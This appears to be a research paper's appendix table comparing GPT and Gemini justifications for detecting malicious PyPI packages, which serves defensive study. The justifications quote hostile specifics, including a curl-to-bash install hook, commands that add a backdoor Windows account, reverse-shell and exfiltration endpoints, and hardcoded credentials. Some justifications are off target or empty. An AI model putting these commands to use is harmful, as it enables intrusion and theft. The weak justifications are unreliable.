apple-py-music	1	['data exfiltration']	pon installation the package collects the system's username computer's name IP address and attempts to upload this information both via HTTP and DNS	The package contains suspicious code that collects sensitive information such as the hostname, username, and current execution path, which is then encoded and sent to external domains. It also makes repeated HTTP requests and pings to potentially malicious domains.	The '__init__.py' file exhibits highly suspicious behavior: It gathers sensitive system information such as hostname, username, and current working directory. This collected data is then base64 encoded. The encoded data is exfiltrated to external domains ('.sub.deliverycontent.online' and 'www.deliverycontent.online') using multiple methods, including DNS exfiltration and HTTP exfiltration. These actions are classic signs of information-stealing malware designed for data exfiltration.
aryi	0.1	['data exfiltration']	Steals Discord tokens Passwords from chrome edge system information. Uploaded via webhook	The package contains a significant amount of obfuscated code, indicated by the '__pyarmor__' function and excessive bytecode, suggesting an intent to hide malicious functionality. Additionally, the general lack of meaningful imports and heavy obfuscation raises red flags about the package's purpose and safety	The presence of '__pyarmor__' in the 'aryi.py' file indicates that the code has been intentionally obfuscated. Obfuscation is a common technique used by malware authors to hide their malicious intent and evade detection. Without the ability to analyze the actual code in 'aryi.py', it is impossible to determine its true functionality, which is a significant security risk.

Continued on next page

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
aws-login0tool	0.0.14	['dropper']	It does a standard package install then fetches an .exe from a non-descript domain before attempting to execute the .exe.	The package contains a custom installation class ('SneakyInstall') that retrieves and executes an external executable ('normal.exe') from a potentially harmful URL (' https://tryg.ga/normal.exe '). This behavior is characteristic of malicious software, intended to install and run unauthorized programs on the user's machine.	The 'setup.py' file contains a custom installation command 'SneakyInstall'. When this package is installed, the 'run' method of 'SneakyInstall' is executed. This method performs the following malicious actions: 1. Downloads an executable: It downloads a file named 'normal.exe' from ' https://tryg.ga/normal.exe ' to the local system. 2. Executes the downloaded file: Immediately after downloading, it executes 'normal.exe' using 'subprocess.Popen'. This behavior indicates that the package is designed to download and execute arbitrary code from a remote server on the user's machine during installation, which is a common characteristic of malicious software. The comment in the 'setup.py' referencing ' https://github.com/Ayrx/malicious-python-package ' further confirms its malicious intent.
Continued on next page					

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
colourama	0.1.6	['financial gain']	Downloads cryptocurrency clipboard hijacker written in VBScript. Persistence by Windows registry entry to execute it whenever the user logs into the machine.	The 'run' method of the 'TotallyInnocentClass' contains a decoded base64 string that executes arbitrary code, which includes making a request to an external URL (grabify.link). This is a clear indicator of malicious behavior, as it may be attempting to exfiltrate data or perform unauthorized actions. Additionally, the usage of dynamic execution via 'exec' and external requests raises serious security concerns.'	<p>The 'setup.py' file contains a custom install class 'TotallyInnocentClass' that overrides the 'run' method. This method executes a base64-encoded string, which, when decoded, reveals highly suspicious and malicious behavior:</p> <ol style="list-style-type: none"> 1. Dynamic Code Execution: It uses 'exec' to run dynamically generated code from a base64 encoded string. 2. Platform-Specific Attacks: <ul style="list-style-type: none"> * On Windows, it attempts to rename 'test.jpg' to 'new.vbs' and then execute it using 'wscript'. * This suggests an attempt to run a VBScript. * If that fails, it tries to download content from 'https://grabify.link/e706af6ow' (decoded from base64) and saves it as a randomly named '.vbs' file, which is then executed. 3. IP Logging/Data Exfiltration: It makes multiple requests to 'https://grabify.link/E09EIF' (and other similar 'grabify.link' URLs), which is an IP logger service. The user agent is set to the operating system, potentially exfiltrating system information. <p>These actions, including arbitrary code execution, attempts to download and run scripts from external sources, and communication with IP logging services, are all characteristics of malicious software.</p>

Continued on next page

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
ctx	0.2.6	['data exfiltration']	took over project with a compromised account. Added runtime code which stole envirnment variables and sent to a heroku application	<p>The package contains code that sends environment variable data to an external URL (https://anti-theft-web.herokuapp.com/hacked/).</p> <p>This behavior is suspicious and indicative of potential malicious activity, such as data exfiltration. Additionally, it uses base64 encoding to obfuscate the data being sent, further raising concerns about its intent.</p>	<p>The 'ctx.py' file attempts to collect sensitive environment variables such as 'AWS_ACCESS_KEY_ID', 'COMPUTER-NAME' (or system's node name), and 'AWS_SECRET_ACCESS_KEY'. It then exfiltrates this information by sending an HTTP GET request to 'https://anti-theft-web.herokuapp.com/hacked/' with these collected variables embedded in the URL. This behavior is a clear indication of data exfiltration and is highly malicious.</p>
disutil	1	['research']	As shown below the code establishes a socket connection to a local IP address	<p>The package summary explicitly states "don't download this," which is a strong indicator of malicious intent. Additionally, the lack of comprehensible libraries beyond setup-tools, combined with minimal documentation and suspicious metadata, further suggests potential dangers associated with this package.</p>	<p>The author has explicitly warned against downloading it, which is a clear indicator of malicious intent.</p>
Continued on next page					

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
djanga	0.4	['dropper']	Download file and persist in .bashrc	The package 'djanga' contains a setup script that attempts to download and execute a file from a remote server with an IP address (145.249.104.71). It modifies the user's .bashrc file to execute this downloaded file on startup. Such behavior is characteristic of malicious software aiming to install backdoors or execute unauthorized scripts.	Both 'setup.py' and 'pr.py' contain code that downloads a file from ' http://145.249.104.71/out ', saves it as '.drv' in the user's home directory, makes it executable, and adds a line to '~/.bashrc' to execute it persistently. This behavior is indicative of a backdoor or malware attempting to gain persistent access to the system.
Continued on next page					

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
dpp_client	1.0.8	['data exfiltration']	It installs a malware trojan in the user's system that causes data leakage.	The package contains code that allows the reading of sensitive information from the environment and files on the server, which is sent to a remote server (http://pt.traktrain.com/req.php) without user consent. This behavior typically indicates malicious intent.	The 'setup.py' file performs several suspicious actions: It executes '/bin/env' to capture environment variables. It enumerates files and directories from critical system locations such as '/', '/bin', '/etc', and '/tmp', as well as relative directories. It then exfiltrates all this collected information (environment variables, and file listings) to an external URL: 'http://pt.traktrain.com/req.php'. This behavior indicates unauthorized data collection and exfiltration, which is characteristic of malicious software.
dpp_client1234	0.5	['data exfiltration']	It installs a malware trojan in the user's system that causes data leakage.	The package attempts to execute a command to read the environment and send sensitive information (current working directory and files) to an external URL (http://pt.traktrain.com/req.php?test). This behavior indicates that it could be collecting data without user consent, which is suspicious and characteristic of malicious intent.	The classification agent needs to examine the content of the Python files, especially 'setup.py', as it often contains installation scripts that could hide malicious code.
Continued on next page					

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
easyfuncsys	0.0.4	['dropper']	These versions upon installation simply downloaded and ran a suspicious EXE on the victim's machine.	The '__init__.py' file contains a function that downloads an executable file ('download.exe') from a remote URL and then executes it. This behavior is characteristic of malware, which often downloads and executes additional malicious payloads.	The '__init__.py' file contains code that downloads an executable file ('Setup.exe') from a Discord CDN URL (' https://cdn.discordapp.com/attachments/936752659241771009/936753057998442506/Setup.exe '), saves the downloaded content as 'download.exe', and immediately executes 'download.exe' using 'os.startfile()'. This behavior of downloading and executing an arbitrary executable from an untrusted source is a strong indicator of malware.
Continued on next page					

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
easyinstall	41.0.0	['dropper']	Download file and persist in .bashrc	The package contains functions that download a file from a remote server and execute it, which can lead to unauthorized code execution on the user's machine. Specifically, the use of 'urllib2.urlopen' to fetch content from an external IP (145.249.104.71) and then modifying the user's '.bashrc' file to run the downloaded file ('~/drv') indicates potential malicious behavior	The 'setup.py' script contains a function 'rn()' that is executed upon installation. This function performs the following suspicious actions: 1. It downloads a file from ' http://145.249.104.71/out '. 2. It saves the downloaded file as 'drv' in the user's home directory. 3. It makes the 'drv' file executable. 4. It adds a line to the user's '.bashrc' file ('~/drv &'), which ensures the downloaded file is executed every time a new shell session starts, establishing persistence. 5. It immediately executes the downloaded file in a new thread. These actions indicate that the package is designed to download and execute arbitrary code from a remote server on the user's system, which is a common characteristic of malware.
Continued on next page					

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
fakessh	0.7.8	['backdoor']	curls to a unknown address. curl -qs http://34.69.215.243:8000/hi 2>/dev/null	The package 'fakessh' is classified as malicious due to the presence of a post-install command in the setup script that executes a curl command to access an external URL (http://34.69.215.243:8000/hi) and run its output as a bash script. This behavior is typical of malware, which often attempts to download and execute additional malicious code. Furthermore, the package description indicates it acts as a fake SSH server that accepts all credentials, which poses significant security risks. No legitimate software should behave in such a manner.	The 'setup.py' file contains a custom 'PostInstallCommand' that executes a shell command during installation: 'os.system('curl -qs http://34.69.215.243:8000/hi 2>/dev/null bash 2>/dev/null >/dev/null')'. This command downloads content from a remote server (' http://34.69.215.243:8000/hi ') and pipes it directly into 'bash' for execution. This is a clear indicator of malicious behavior, as it allows arbitrary code to be executed on the system when the package is installed.
Continued on next page					

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
fasdghjkhjafsd	0.0.1	['data exfiltration']	Posts data from txt files in system to IP	The package includes a 'setup.py' file that accesses and posts potentially sensitive data (contents of text files from certain directories) to a remote server (http://140.238.202.225:8080). It uses glob patterns to search for files, which can be a method to find and exfiltrate data without user consent. Additionally, the author information is not provided and the package summary and description are marked as 'UNKNOWN' or 'NA', which is often indicative of malicious behavior. The presence of a command that runs post-installation scripts further adds to the suspicion.	The 'setup.py' script contains a 'PostInstall-Command' that executes during the installation of the package. This command attempts to recursively search for and read the content of all '.txt' files (and specifically 'prices.txt') from the '/home' directory and the root directory '/'. The content of these files is then sent via a POST request to a hardcoded external IP address: ' http://140.238.202.225:8080 '. This behavior indicates unauthorized data exfiltration, which is a common characteristic of malicious software.
Continued on next page					

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
flask-requests-complex	0.0.1	['backdoor']	adds a new attacker-created user account to the Remote Desktop Users group on Windows allowing attackers to RDP into the system at will. Additionally the packages were seen making a simple HTTP request to a third-party URL to likely notify the threat actor that the attack was successful	The package contains code that attempts to create a new user account ('user3') and add it to the administrators group on the system, which is a typical behavior of malicious software. Additionally, it makes a request to an external URL (' https://siyah.site/pekekent.php '), which could be a command and control server.	Based on the provided metadata, the package lacks essential information such as package name, version, author details, and a description. Crucially, there are no available Python files to analyze ('available_python_files: []). This significant lack of verifiable content and metadata makes it impossible to ascertain its benign nature and raises red flags.
Continued on next page					

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
genesisbot	0.0.2	['data exfiltration']	Steals Discord tokens Passwords from chrome edge system information. Uploaded via webhook	The package 'genesisbot' contains code that engages in potentially harmful activities, such as sending unauthorized requests using a Discord API, possibly for the purpose of obtaining sensitive user information. It also implements a flood attack function and uses base64 encoding to obscure its intent, indicating malicious behavior	The package is classified as malicious due to two main reasons: 1. Information Stealing: The 'optimise' function is designed to exfiltrate sensitive user data. It decodes a base64 string revealing a Discord webhook URL and another base64 string that leads to a Discord API endpoint for billing payment sources. It then makes requests to Discord's API to gather the user's username, ID, email, phone, and billing information. This sensitive data is then sent to the decoded Discord webhook URL, which is a common tactic used by information stealers to collect and transmit stolen data. 2. Denial of Service (DoS) Capabilities: The 'flood' function is explicitly designed to perform a UDP flood, which is a type of Denial of Service (DoS) attack. It continuously sends data to a specified IP address and port, aiming to overwhelm the target and disrupt its services.
Continued on next page					

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
humanqueenr0.0.2		['dropper']	These versions upon installation simply downloaded and ran a suspicious EXE on the victim's machine.	The package contains functionality to retrieve Discord tokens from local storage paths, check their validity, and then send them to a remote server, which is indicative of a malicious intent to steal user credentials. Additionally, functions like 'ddos' and 'troll' suggest orchestrated attacks and pranks, further confirming the package's malicious nature.	The '__init__.py' file contains code designed to steal Discord tokens and exfiltrate them to an external URL (https://reentry.co/23azs/raw). It searches for tokens in various browser and Discord application directories, validates the collected tokens by making requests to the Discord API, and sends these validated tokens to a hardcoded URL. Several functions ('leave', 'couteau', 'hack', 'ip', 'ddos', 'troll') within the package all trigger this token exfiltration mechanism. The 'ip' function also retrieves the user's IP address and provides misleading information about a "ddos" function, and the 'ddos' function itself attempts to pause the system.
Continued on next page					

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
important-package	0.2.2	['backdoor']	Hidden connect-back shell to <code>psec.forward.io.global.prod.fastly.net</code> using the trevorc2 client	The code contains functionality that attempts to read sensitive system files (like <code>/etc/passwd</code> and <code>/etc/hosts</code>) and collects environment variables, directories, and running processes. This information is then encoded and sent over the network to an external server, which is characteristic of data exfiltration techniques used in malicious software.	The <code>'__init__.py'</code> file exhibits highly suspicious behavior. It attempts to read sensitive system files like <code>/etc/passwd</code> and <code>/etc/hosts</code> , collect environment variables, current working directory, and a list of running processes, list all files in the user's home directory, encodes all this collected sensitive information in base64, and exfiltrates this encoded data to an external server (<code>'https://pypi.python.org'</code> with a modified <code>'Host'</code> header <code>'psec.forward.io.global.prod.fastly.net'</code>).
Continued on next page					

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
ipboards	9999.0.2	['data exfiltration']	In reality it is using DNS tunneling as a data exfiltration method by relying on DNS requests as a channel for communication between the victim machine and the remote server.	The package contains a file named 'exploit.py' that appears to perform unauthorized actions, including sending sensitive information (username, hostname, external IP, etc.) through DNS queries. Specifically, it uses the 'dns.resolver' library to send data to a remote server, indicating potential exfiltration of user data. Overall, the presence of such functionality strongly suggests that this package is designed with malicious intent.	The 'exploit.py' script uses 'selenium' to interact with ' https://requestbin.net/dns?master=b0a0374cd1cb4305002e '. This URL points to a DNS request bin, which is a service often used in malicious contexts for data exfiltration or as part of a command-and-control (C2) infrastructure. The script then extracts and decodes data from the webpage, a common technique for obfuscating malicious payloads or instructions. The presence of a file named 'exploit.py' further indicates malicious intent.
Continued on next page					

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
junkeldat	1	['data exfiltration']	Print IP?	"The package 'junkeldat' contains a setup script that decodes a base64 string to retrieve a URL or IP address (d3d3LmRsMDEucHduei5vcmc='), which appears to be an attempt to perform network operations that could be malicious. Additionally, the use of the 'subprocess' library could allow execution of arbitrary commands or scripts, further indicating risk. No valid author or description information is provided which raises suspicion	The package is classified as malicious due to several reasons: 1. The 'setup.py' file contains a custom 'Install' class that overrides the standard installation process and decodes a base64 string to a suspicious domain 'www.dl01.pwnz.org'. 2. The domain 'pwnz.org' is associated with malicious activities. 3. The package attempts to resolve the IP address of a suspicious domain during installation, which is a common tactic for establishing communication with a command and control server. 4. There is a typo in the 'run' method indicating possible obfuscation or error, suggesting an intent to interact with the resolved IP in a more complete malicious version.
Continued on next page					

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
libffm	0.3	['denial of service']	Turns Of pc for Macos and Linux	The package contains a function that powerfully shuts down the system based on the platform being used. This behavior is typically considered malicious as it poses a risk to user data and system integrity.	The 'setup.py' file contains code that attempts to shut down or power off the operating system based on whether it's Linux/Darwin or Windows. This is highly suspicious and indicative of malicious behavior, as a legitimate library setup script should not be attempting to shut down the user's system.
Continued on next page					

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
libpeshka	0.6	['dropper']	Download file and persist in .bashrc	<p>The package contains a script that downloads a binary from a remote URL (http://145.249.104.71/out) and modifies the user's .bashrc file to execute it. This behavior is characteristic of malware that attempts to install persistent and potentially harmful software without the user's consent. The use of a hardcoded IP address for downloading suggests a lack of trust. The package's reference to modifying executable permissions further indicates malicious intent.</p>	<p>Both 'pr.py' and 'setup.py' contain a function named 'rn()' which exhibits highly suspicious behavior:</p> <ol style="list-style-type: none"> 1. **Downloads an executable:** It downloads a file from 'http://145.249.104.71/out' and saves it as a hidden file named '.drv' in the user's home directory. 2. **Grants execute permissions:** It sets execute permissions on the downloaded '.drv' file. 3. **Establishes persistence:** It appends '~/.drv &' to the '~/.bashrc' file, ensuring that the downloaded executable runs every time a new shell session is started. 4. **Immediate execution:** The 'setup.py' script directly calls 'rn()', meaning this malicious code will run during the installation of the package. It also explicitly executes the downloaded file using 'os.system("~/drv &"). <p>This package is designed to download and execute arbitrary code on a user's system, establish persistence, and potentially take control of the machine, which are hallmarks of malicious software.</p>
					Continued on next page

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
libpeshnx	0.1	['dropper']	Download file and persist in .bashrc	The package 'libpeshnx' contains a function that downloads a file from a remote server (' http://145.249.104.71/out '), potentially indicating malicious behavior. The code also modifies the user's .bashrc file to execute the downloaded file, which is a clear sign of trying to maintain persistence or execute malicious code without the user's consent	The 'pr.py' file attempts to download a file from ' http://145.249.104.71/out ' to the user's home directory as '.drv', makes it executable, and then adds an entry to '.bashrc' to ensure the downloaded file runs every time a new shell is initiated. This is a clear indicator of malicious behavior, as it allows for the persistent execution of arbitrary code downloaded from a remote server.
maratlib	1	['financial gain']	Bash scripts run cryptominers on compromised machines	The presence of obfuscated code and the use of functions to dynamically evaluate strings (e.g., 'eval') strongly suggest malicious intent. The code appears to manipulate input and execute potentially harmful actions. Additionally, the lack of proper documentation and misleading variable names indicate attempts to obscure the code's true purpose.	The Python script 'setup.py' contains highly obfuscated code with many randomly named variables and functions with repetitive character sequences. This is a common characteristic of malicious packages, as it attempts to hide its true intent and evade detection. The presence of 'eval()' and '__import__()' with dynamically generated arguments further supports this assessment.

Continued on next page

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
mplatlib	1	['financial gain']	Bash scripts run cryptominers on compromised machines	The package 'mplatlib' has no known author, homepage, or description, which raises red flags. It also uses an obfuscated setup script that imports 'setuptools' for installation but contains no actual functionalities or modules, suggesting it may be designed to pull malicious dependencies through the 'install_requires' field. The absence of legitimate metadata implies that it could potentially be used for harmful purposes.	The 'setup.py' file for the 'mplatlib' package contains highly obfuscated code and attempts to install a dependency named 'maratlib'. The obfuscation, combined with the installation of an unknown and potentially similarly named dependency ('maratlib' shares a similar naming convention to 'mplatlib'), is highly suspicious. This behavior is indicative of a malicious package.

Continued on next page

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
mybiubiubiu	0.1.6	['data exfiltration']	send <code>username+hostname+ip+package_name+language+local_time</code> to a web server	The setup.py script contains functionality that collects user information (username, hostname, and IP address) and sends it to a remote server (<code>http://123.206.22.33:5000/p/</code>). This behavior is typical of malicious software that seeks to exfiltrate sensitive data without user consent. Additionally, it makes network requests and utilizes the user's machine to execute potentially harmful actions without clear disclosure in the package's summary or description.	The 'setup.py' file contains code that gathers system information (username, hostname, IP address, and Python version) and sends it to a remote server at ' <code>http://123.206.22.33:5000</code> '. This data exfiltration to a hardcoded IP address, combined with the creation of a temporary file for what appears to be a check to avoid repeated execution, is a strong indicator of malicious intent.
Continued on next page					

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
noblesse	0.0.6	['data exfiltration']	Steals Discord tokens Passwords from chrome system information. Uploaded via webhook	The package 'noblesse' contains several functions that potentially indicate malicious behavior, particularly those related to Discord APIs and webhooks. Notably, the presence of functions such as 'check_nitro', 'leave_guild', 'remove_friend', and 'webhook_spam' suggests that this package can interact with Discord in ways that may violate terms of service, such as redeeming gift codes, leaving servers, removing friends, and spamming webhooks. Moreover, it includes methods to handle images and messages which could be used for unauthorized data scraping or phishing. The overall functionality points toward usage in the context of self-bots or unauthorized automation, which are generally considered malicious activities in user agreement contexts. Additionally, the use of asynchronous programming and libraries related to Discord also strengthens the suspicion of malicious intent.	The package 'noblesse' version '0.0.6' is classified as malicious due to its functionalities that include Discord account manipulation and sabotage, data exfiltration, denial of service attack capability, and spamming capability. These functionalities are destructive and misleading compared to the package's stated summary, which claims to optimize the PC for Python.

Continued on next page

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
owlmoon	0.01	['data exfiltration']	Steals Environment variables login data from discord google chrome opera & yandex and sends it via webhook	The script 'tests.py' contains suspicious obfuscated code involving base64 decoding, eval, and other potentially harmful operations, indicating malicious intent. Additionally, the author's email address and homepage are unprofessional and can be deemed as part of a malicious package. There are no imports in 'setup.py', suggesting it may not need any external dependencies, which is unusual for legitimate packages.	The 'tests.py' file contains highly suspicious code that uses obfuscation techniques, including base64 encoding and 'eval(compile(...))' to execute dynamically generated code. This is a common method used by attackers to hide malicious payloads. Specifically, the script concatenates several encoded strings ('magic', 'love', 'god', 'destiny'), decodes them using 'base64.b64decode' and 'codecs.decode' with 'rot13', and then executes the resulting code. This behavior is a strong indicator of malicious activity.
Continued on next page					

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
pandar	1.1.4	['data exfiltration']	Creates a Subprocess with a Key Logger which Sends Email to <code>csec.aueb@gmail.com</code>	he package 'pandar' contains a keylogger script (in 'secretary.py') that captures keyboard input and sends it via email, which is a significant indicator of malicious behavior. The use of external libraries such as 'pynput' supports the capability of monitoring keystrokes, while the integration with 'smtplib' to send email further confirms the malicious intent. Additionally, the presence of code that spawns background processes for this keylogging functionality suggests an attempt to obfuscate malicious actions	The 'secretary.py' file contains code for a keylogger. It uses the 'pynput' library to collect keystrokes ('on_press', 'collector' functions) and attempts to send them via email to a hardcoded address (' <code>csec.aueb@gmail.com</code> ') with hardcoded credentials (' <code>democsec@gmail.com</code> ', ' <code>dfsfgs!322Dasfa</code> ') using the 'smtplib' and 'ssl' modules ('sent_email' function). This functionality is a clear indicator of malicious intent.
Continued on next page					

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
php-requests-complex	0.0.1	['backdoor']	adds a new attacker-created user account to the Remote Desktop Users group on Windows allowing attackers to RDP into the system at will. Additionally the packages were seen making a simple HTTP request to a third-party URL to likely notify the threat actor that the attack was successful	The setup.py script performs potentially harmful operations such as adding a user 'flask' with a password and adding this user to the 'Remote Desktop Users' group. It also makes an HTTP request to a suspicious URL (https://siyah.site/pekekent.php), which could be indicative of malicious behavior. No safe or benign functionalities are present in the script.	The 'setup.py' file attempts to: - Create a new user named 'flask' with password '123qwe123' using 'net user /add flask 123qwe123'. - Add this user to the "Remote Desktop Users" group using 'net localgroup "Remote Desktop Users" flask /add', which could allow remote access to the system. - Make an HTTP GET request to ' https://siyah.site/pekekent.php ', which could be used for command and control or data exfiltration. These actions are strong indicators of malicious intent.
Continued on next page					

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
pptest	999.0.26	['data exfiltration']	It is using DNS tunneling as a data exfiltration method by relying on DNS requests as a channel for communication between the victim machine and the remote server.	The package contains functionality that captures and sends the system's WAN IP address, local hostname, working directory, and local IP addresses to a DNS server controlled by a user ('burpcollaborator.net'). This indicates a potential for malicious behavior as it is designed to exfiltrate sensitive network information.	It actively collects sensitive system information and exfiltrates it to an external server using DNS exfiltration techniques during installation and via a hijacked 'pip3' command.
Continued on next page					

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
pycolorz	0.0.9	['data exfiltration']	Downloads WSP4 Stealer via a Discord hook to grab wallets, passwords, etc, and exfiltrate through https://transfer.sh	The package 'pycolorz' contains a function that downloads and executes code from an external URL, specifically from ' https://paste.bingner.com/paste/39kv9/raw '. This is a common behavior in malicious packages, as it can lead to the execution of arbitrary code on the user's machine, posing a significant security risk.	The 'setup.py' file contains a 'log()' function that executes during package installation. This function downloads content from " https://paste.bingner.com/paste/39kv9/raw " and executes it using 'exec()'. Similarly, the '__init__.py' file also directly downloads and executes code from the same remote URL upon package initialization. This behavior, where arbitrary code is downloaded and executed from an external source, is a strong indicator of malicious activity, as it allows the attacker to run any code on the user's system.
pyconau-funtimes	1.0.6	['backdoor']	Opens reverse shell	The package contains a script that establishes a reverse shell connection to an external server (0.tcp.ngrok.io on port 36946). This indicates malicious behavior as it can allow unauthorized access to the system running the script.	The 'setup.py' file contains code that establishes a reverse shell connection to '0.tcp.ngrok.io' on port '36946'. This is achieved by importing 'socket', 'subprocess', and 'os' modules, creating a socket connection, redirecting standard I/O to the socket, and executing '/bin/sh -i', which grants remote access to the system.

Continued on next page

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
pyscrapy	0.3.0	['dropper']	Runs Script from <code>http://39.108.192.78:81/shell.elf</code>	The setup.py file includes a method that downloads and executes a file from a remote server (<code>http://39.108.192.78:81/shell.elf</code>) during installation. This behavior is indicative of malicious intent as it implies the introduction of potentially harmful code executed on the user's system.	The 'setup.py' file contains a custom 'install' command that executes shell commands to download an executable ('shell.elf') from ' <code>http://39.108.192.78:81/shell.elf</code> ', makes it executable (' <code>chmod +x</code> '), and then runs it in the background (' <code>./shell.elf &</code> '). This is a clear indicator of malicious behavior, as it allows arbitrary code execution on the user's system during the package installation process.
pystlete	2.9	NaN	Runs encrypted string in setup.py	The package contains a section that decrypts data using the 'Fernet' encryption method, which indicates potential malicious behavior as it could be used for unauthorized data access or manipulation. This pattern of using encryption without clear justification for its purpose raises red flags regarding the nature of the package.	The 'setup.py' file contains highly suspicious code that decrypts and executes hidden data using 'Fernet' and 'exec()'. This is a common technique used by malware to obfuscate their true intent and execute malicious payloads upon package installation.
Continued on next page					

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
pytagora	1.2	['dropper']	To be succinct “the malware tries to connect to a private IP address on TCP port 9009 and then execute whatever Python code is read from the socket.	The ‘functions.py’ file contains an obfuscated ‘hello()’ function which uses ‘exec’ to execute code that has been base64 encoded. This is a common method used in malicious scripts to hide the actual functionality of the code, indicating that it may carry out harmful actions without the user’s consent or awareness. The presence of this unusual behavior raises significant red flags about the package’s intentions. Additionally, the author email and GitHub page do not lend credibility or transparency to the package.	The ‘functions.py’ file contains a function ‘hello()’ that executes base64-decoded content. The decoded code attempts to establish a socket connection to ‘172.16.60.80’ on port ‘9009’. Once connected, it receives further data and executes it using ‘exec()’. This behavior is characteristic of a reverse shell, which allows an attacker to remotely execute arbitrary commands on the compromised system. The ‘hello()’ function is called within the ‘hypotenuse()’ function, meaning this malicious activity will be triggered when ‘hypotenuse()’ is invoked.
Continued on next page					

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
python-ftp	2.4	['data exfiltration']	Uploads username & hostname & ip to remote host.	The package 'python-ftp' includes a 'detect' function that captures sensitive information such as the current username, host information, and IP address, and sends this data to a remote server (http://us.dslab.pw/webhook.php). This behavior is indicative of malicious intent, as it involves the unauthorized transmission of potentially sensitive user information over the internet.	The 'setup.py' file contains a 'detect()' function that gathers system information such as the username, hostname, and platform details. This information is then exfiltrated (sent) to the URL ' http://us.dslab.pw/webhook.php ' via an HTTP POST request. This unauthorized collection and transmission of system data is a strong indicator of malicious behavior.
Continued on next page					

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
python-mongo	0.2.0	['data exfiltration']	Uploads username & hostname & ip to remote host.	<p>The setup.py script contains a function that collects system information including the username, hostname, OS version, and IP address, and sends this data to a remote URL ;(http://openvc.org/Version.php).</p> <p>This behavior suggests it could be tracking or exfiltrating user data without consent, which is typical of malicious software. Additionally, the use of base64 encoding for the ID string adds to the suspicion as it may be used to obfuscate data being sent over the network. Although the __init__.py script appears more benign with standard MongoDB interaction code, the presence of the potentially harmful behavior in setup.py is significant enough to classify the entire package as malicious.</p>	<p>The 'setup.py' file contains a function 'checkVersion()' that gathers system information (username, hostname, operating system, and IP address) and the package name. This collected data is then base64 encoded and sent to a remote server at 'http://openvc.org/Version.php' without explicit user consent or clear justification. This constitutes data exfiltration, which is a malicious activity.</p>

Continued on next page

TABLE F.1: Comparison of GPT and Gemini Justification Evaluation

Package Name	Package Version	Backstabber Index Objective	Index details	GPT Justification	Gemini Justification
python-mysqldb	2.4	['data exfiltration']	Uploads username & hostname & ip to remote host.	"The package is authored by 'exploitcat' and has a suspicious email address. The description as a 'smb client wrapper' combined with the author's name raises concerns about potential malicious intent. No functions were detected in the setup.py, which suggests it might be a placeholder or intent to obscure functionality.	The 'setup.py' file contains a 'detect()' function that collects sensitive system information, including the username, hostname, and IP address. This information is then exfiltrated to a remote server at ' http://us.dslab.pw/webhook.php '. This unauthorized collection and transmission of system data is a strong indicator of malicious intent.
